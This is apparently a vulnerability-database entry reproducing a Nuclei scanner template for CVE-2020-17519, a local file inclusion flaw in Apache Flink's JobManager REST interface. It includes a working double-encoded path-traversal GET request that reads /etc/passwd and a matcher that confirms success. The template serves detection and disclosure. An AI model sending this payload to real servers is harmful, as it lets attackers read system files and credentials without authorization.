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Apache Flink - Local File Inclusion

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
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Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion)

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id: CVE-2020-17519

info:
  name: Apache Flink - Local File Inclusion
  author: pdteam
  severity: high
  description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
  impact: |
    Unauthenticated attackers can read arbitrary files from the JobManager local filesystem, potentially exposing sensitive configuration files, credentials, and proprietary data.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.
  reference:
    - https://github.com/B1anda0/CVE-2020-17519
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17519
    cwe-id: CWE-552
    epss-score: 0.97856
    epss-percentile: 0.99899
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: flink
  tags: cve,cve2020,apache,lfi,flink,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022061e4f51c7917de71dd84ea3915b31f3b294e6f17d531807d46872a0e977dbe17022100cfb4a67aead911af0afc733fdd7a59650720f077c5cf18d83f1fbebbde972b18:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 3.17.5 - 9.1
EPSS0.97856
SSVC
102